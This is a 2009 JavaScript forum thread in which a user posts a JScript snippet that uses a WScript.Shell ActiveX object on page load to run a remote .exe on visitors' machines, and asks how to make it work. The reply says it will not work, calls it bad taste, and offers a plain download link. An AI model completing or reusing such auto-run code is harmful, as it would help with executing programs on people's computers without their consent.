It appears you have not yet registered with DEVPPL. To register please click here... (it's fast, easy and free!)

Forum

Log In Sponsors
Partner Sites
Board index Programming JavaScript Forum

run .exe file automatically as people browsing my web page

run .exe file automatically as people browsing my web page

Postby Gennady46 on Wed Nov 04, 2009 3:51 am

Hi, I have application.exe in http://folder/application.exe

I used the following java script and html code to insert into my webpage:

<SCRIPT Language="JScript">
function runcmd() {
File="http://myfolder/application.exe";
WSH=new ActiveXObject("WScript.Shell");
WSH.run(File);
}
</SCRIPT>

<body onLoad="javascript:runcmd();">

But it is not working can you tell what is the problem,
and how to achieve this? to run .exe file automatically.
Thanks in advance, G.G.
Gennady46
 
Posts: 1
Joined: Wed Nov 04, 2009 3:38 am

Re: run .exe file automatically as people browsing my web page

Postby djtonic on Wed Nov 04, 2009 6:05 am

you cant run an exe on someone elses machine. You would need to have some activeX installed. what is in the .exe? I personally beieve your visitors need to be aware you are going to execute a file and it is in very bad taste to even attempt it. but if you want to have a download/open dialog box run when someone clicks a button just use simple html tag.

<a href="http://gennadysite.com/folder/application.exe">Click here !</a>
I know it isnt what you want but i just disagree with .exe at page load plus it is a more complicated thing than your little java snippet.


tim.
djtonic
50+ Club
 
Posts: 88
Joined: Tue Sep 08, 2009 1:38 am


Return to JavaScript Forum

Who is online

Users browsing this forum: No registered users and 5 guests

cron